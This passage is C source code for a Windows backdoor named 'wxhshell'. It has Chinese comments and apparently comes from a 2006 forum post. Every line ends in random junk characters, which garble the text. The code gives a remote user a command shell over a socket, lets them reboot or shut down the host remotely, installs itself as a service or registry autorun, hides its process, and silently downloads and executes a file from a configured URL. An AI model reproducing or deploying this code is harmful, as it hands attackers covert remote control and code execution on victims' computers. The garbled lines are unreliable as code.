  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,*Z[P%<9  
  } ).!14Gjo  
  else { Mto~ /  
f76|  
    switch(cmd[0]) { P>T*:!s;  
  DYKV54\ue  
  // 帮助 D'[P,v;Q  
  case '?': { 5652'p  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); HjK<)q8b  
    break; dezL{:Ya  
  } fI d)  
  // 安装 FV6he [,  
  case 'i': { ]6%%X+$7  
    if(Install()) K# i*9sM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'Tf#S@o  
    else "">fn(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Cb%.C;q  
    break; uCP6;~Ns  
    } Ul713Bjz  
  // 卸载 BQul iX&  
  case 'r': { dI ZTLb"a  
    if(Uninstall()) 8 1K G1i)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0o=6A<#x  
    else k`7.p,;}U  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &Rl3y\ r  
    break; &X]=Q pl  
    } @Uj _+c q  
  // 显示 wxhshell 所在路径 QVG0>,+}$  
  case 'p': { 2 .Eu+*UC  
    char svExeFile[MAX_PATH]; i9@;,4f  
    strcpy(svExeFile,"\n\r"); hKH$AEHEU}  
      strcat(svExeFile,ExeFile); ,'1Olu{v[s  
        send(wsh,svExeFile,strlen(svExeFile),0); yrE,,N%I  
    break; 27*(oT  
    } -0KbdHIKb'  
  // 重启 ] EVe@  
  case 'b': { r8 Zyld_@  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 1IF'>*  
    if(Boot(REBOOT)) pRiH,:\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4l%?mvA^m  
    else { 3!"b guE  
    closesocket(wsh); vNK`Y|u@  
    ExitThread(0); 0?6 If+AC  
    } G>[ NZE  
    break; 0V>ESyae5  
    } aJy>  
  // 关机 <wUD  
  case 'd': { co$Hi9JE  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ]{Mci]H6T  
    if(Boot(SHUTDOWN)) bRK CY6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Qc&-\kQ:$u  
    else { Q3NPwM  
    closesocket(wsh); "RV`L[(P*k  
    ExitThread(0); KJ0xp h f  
    } {z5V{M(|w3  
    break; :Wyn+  
    } RV0>-@/x  
  // 获取shell }@rg5$W  
  case 's': { ( Lok  
    CmdShell(wsh); /-!&k  
    closesocket(wsh); Qq,i  
    ExitThread(0); `2B*CMW{  
    break; IgPV#  
  } V-D}U$fw  
  // 退出 H4PbO/{xO  
  case 'x': { h` irO 5  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); qYgwyj=4  
    CloseIt(wsh); Z&+NmOY4  
    break; *3A3>Rwu  
    } 1A7%0/K-]  
  // 离开 4zo4H~@gk  
  case 'q': { D~G5]M,}$  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 1fz*S IjG  
    closesocket(wsh); `ir&]jh.A  
    WSACleanup(); ,{.zh&=4  
    exit(1); 5kGxhD  
    break; +R|U4`12  
        } 1*C:h g@  
  } ! (2-(LgA  
  } q+YuVQ-fx  
,sO:$  
  // 提示信息 :7 qqjs  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Uby,Tu  
} !UBy%DN~k  
  } "KMLk  
,\BVV,  
  return; YS]>_  
} G 6Wx3~  
Cw 1 9y  
// shell模块句柄 BX@pt;$ek7  
int CmdShell(SOCKET sock) q:vz?G  
{ 3^!Hl8P7  
STARTUPINFO si; T#\p%w9d  
ZeroMemory(&si,sizeof(si)); CD^CUbGk  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `*>V6B3  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; - G8c5b[  
PROCESS_INFORMATION ProcessInfo; xKY$L*  
char cmdline[]="cmd"; ~_'0]P\  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Ds {{J5Um%  
  return 0; }0$mn)*k  
} }ppVR$7]0  
DC&A1I&  
// 自身启动模式 JxjP@nr  
int StartFromService(void) 'nMApPl  
{ 8O;Vl  
typedef struct 6G'<[gL j  
{ 6MuWlCKF8  
  DWORD ExitStatus; hF2/ y.:P  
  DWORD PebBaseAddress; ,:^ N[b   
  DWORD AffinityMask; x ;Gz6|  
  DWORD BasePriority; w TlGJ$D0  
  ULONG UniqueProcessId; C*7!dW6  
  ULONG InheritedFromUniqueProcessId; !(Q l)C  
}   PROCESS_BASIC_INFORMATION; u,f A!  
;;@IfZ ?j  
PROCNTQSIP NtQueryInformationProcess; )%s +?  
o w2$o\hC  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; i`+B4I8[  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 6_*!|g  
Rv vh{U;t  
  HANDLE             hProcess; 7$ d}!S  
  PROCESS_BASIC_INFORMATION pbi; z!:'V]  
&eIGF1ws  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,<sm,!^<r  
  if(NULL == hInst ) return 0; 1i u =Y  
2/@D7>F&g  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); GQx9u ^>  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); a+41Ojv (  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); %w7m\nw@  
.B>B`q;B  
  if (!NtQueryInformationProcess) return 0; . |uLt J  
|z~LzSJv  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }~Q5Y3]#~  
  if(!hProcess) return 0; B;!f<"a8  
Ziz=]D_  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; f jI#-  
TFy7HX\Oq  
  CloseHandle(hProcess); pc H<gF(k  
aX^+ O,  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); f7J,&<<5w  
if(hProcess==NULL) return 0; 6e.v&f7(  
8Bpip  
HMODULE hMod; 'L{p,  
char procName[255]; `5'2Hg+  
unsigned long cbNeeded; 1zjaR4Tf  
MdC<4^|  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); i"HgvBHx  
~O: U|&  
  CloseHandle(hProcess); m&IsDAn  
[;KmT{I9  
if(strstr(procName,"services")) return 1; // 以服务启动 $ [7 Vgs  
g{>^`JtP  
  return 0; // 注册表启动 K=6UK%y A  
} 3]U]?h  
\iU]s\{).  
// 主模块 "&lN\&:  
int StartWxhshell(LPSTR lpCmdLine) hVP IHQt  
{ pm US F #u  
  SOCKET wsl; o>c ^aRZ{  
BOOL val=TRUE; &Y7C0v  
  int port=0; = .oHnMX2M  
  struct sockaddr_in door; :?CQuEv-  
;GsQR+en  
  if(wscfg.ws_autoins) Install(); ~p*1:ij  
{8@\Ij  
port=atoi(lpCmdLine); 44sy`e  
wAYB RY[  
if(port<=0) port=wscfg.ws_port; 1;&;5  
?4[H]BK  
  WSADATA data; mm[SBiFO\  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; feEMg  
I^3:YVR&  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ]Kde t"+  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); xx8U$,Ng  
  door.sin_family = AF_INET; } /e`v6  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); z`$J_CjY  
  door.sin_port = htons(port); T_#, A0G  
|n6Eg9  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { SH8/0g?  
closesocket(wsl); kzO&24  
return 1; *'ZN:5%H  
} .q;ED`G  
Q\kub_I{@  
  if(listen(wsl,2) == INVALID_SOCKET) { nr\q7  
closesocket(wsl); Ya Y8 `M{  
return 1; Q M 1F?F  
} NZXjE$<Vr  
  Wxhshell(wsl); H:S,\D?%2x  
  WSACleanup(); 6Nh0  
.36^[Jsz":  
return 0; UAYd?r  
;-@=  
} 6C-YyI#s#  
7*+TP~WI  
// 以NT服务方式启动 #y; yN7W  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) :tGYs8UK  
{ jO'|mGUM  
DWORD   status = 0; F^kwdS  
  DWORD   specificError = 0xfffffff; Q9>U1]\  
&M"ouy Zo9  
  serviceStatus.dwServiceType     = SERVICE_WIN32; O\beKBT;  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; g-)mav  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; fCUT[d+H  
  serviceStatus.dwWin32ExitCode     = 0; BzbDZV  
  serviceStatus.dwServiceSpecificExitCode = 0; ,Og4 ?fS  
  serviceStatus.dwCheckPoint       = 0; rVryt<2:@r  
  serviceStatus.dwWaitHint       = 0; kE)!<1yy2  
d?L\pN&  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); $Ua56Y  
  if (hServiceStatusHandle==0) return; d*]Ew=^L  
z,Lzgh  
status = GetLastError(); H{`{)mS  
  if (status!=NO_ERROR) 4%ZM:/  
{ wNQqfq Z  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; +m$5a YX  
    serviceStatus.dwCheckPoint       = 0; TZB+lj1  
    serviceStatus.dwWaitHint       = 0; Dy9\O77>  
    serviceStatus.dwWin32ExitCode     = status; .p@N:)W6  
    serviceStatus.dwServiceSpecificExitCode = specificError; M]EsS^/X  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); |X(2Zv^O  
    return; ;e s^R?z  
  } WS0JS'  
g`,AaWlF  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; e>H:/24  
  serviceStatus.dwCheckPoint       = 0; #MgvG,  
  serviceStatus.dwWaitHint       = 0; Plo,XU  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); s: |M].  
} G*n2Ii  
mh` |=M]8E  
// 处理NT服务事件,比如:启动、停止 9%DT0.D}$j  
VOID WINAPI NTServiceHandler(DWORD fdwControl) j F5Blc  
{ lpC @I^:  
switch(fdwControl) 8k!6b\Imz  
{ k3hkk:W  
case SERVICE_CONTROL_STOP: p+w8$8)  
  serviceStatus.dwWin32ExitCode = 0; .b>TK  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; igkz2SI  
  serviceStatus.dwCheckPoint   = 0; 2C "=!'  
  serviceStatus.dwWaitHint     = 0; LI W*4r!  
  { ~brFo2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ClUSrSp  
  } *"9<TSU%m  
  return; ]T<^{jG  
case SERVICE_CONTROL_PAUSE: C7qYiSv  
  serviceStatus.dwCurrentState = SERVICE_PAUSED;  .5Z_E O  
  break; y\PxR708  
case SERVICE_CONTROL_CONTINUE: <d7xt* 4  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 7TWNB{ K_  
  break; [xaisXvI4  
case SERVICE_CONTROL_INTERROGATE: 46XN3r  
  break; 3Sh+u>w  
}; yYTVXs`fVj  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); GjQfi'vCk  
} 'gTmH[be  
> <Z'D  
// 标准应用程序主函数 ?pwE0N^  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^ddO&!U  
{ ?U9/fl  
G\~^&BAC  
// 获取操作系统版本 uP|FJLY  
OsIsNt=GetOsVer(); ]0 ~qi@  
GetModuleFileName(NULL,ExeFile,MAX_PATH); S+I^!gT  
#Z9L_gDp  
  // 从命令行安装  s>[{}7ca  
  if(strpbrk(lpCmdLine,"iI")) Install(); XAD3Z?  
IN!02`H  
  // 下载执行文件 b9("DZW;  
if(wscfg.ws_downexe) { %e=!nRc  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) g(m_yXIx  
  WinExec(wscfg.ws_filenam,SW_HIDE); 2C/%gcN >  
} ]b1Li}  
oXGZK5w<l  
if(!OsIsNt) { 8wFn}lw&  
// 如果时win9x,隐藏进程并且设置为注册表启动 )%j"  
HideProc(); !nw [  
StartWxhshell(lpCmdLine); P. V\ov7m2  
} &]NZvqdj.]  
else ,2zKQ2z  
  if(StartFromService()) X47!E |*  
  // 以服务方式启动 9g@NcJ]  
  StartServiceCtrlDispatcher(DispatchTable); KwFXB  
else >t #\&|9I  
  // 普通方式启动 ,wK 1=7  
  StartWxhshell(lpCmdLine); Eo=HNe  
]|LgVXEpx  
return 0; p24.bLr  
}
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只看该作者 1 发表于: 2006-10-10
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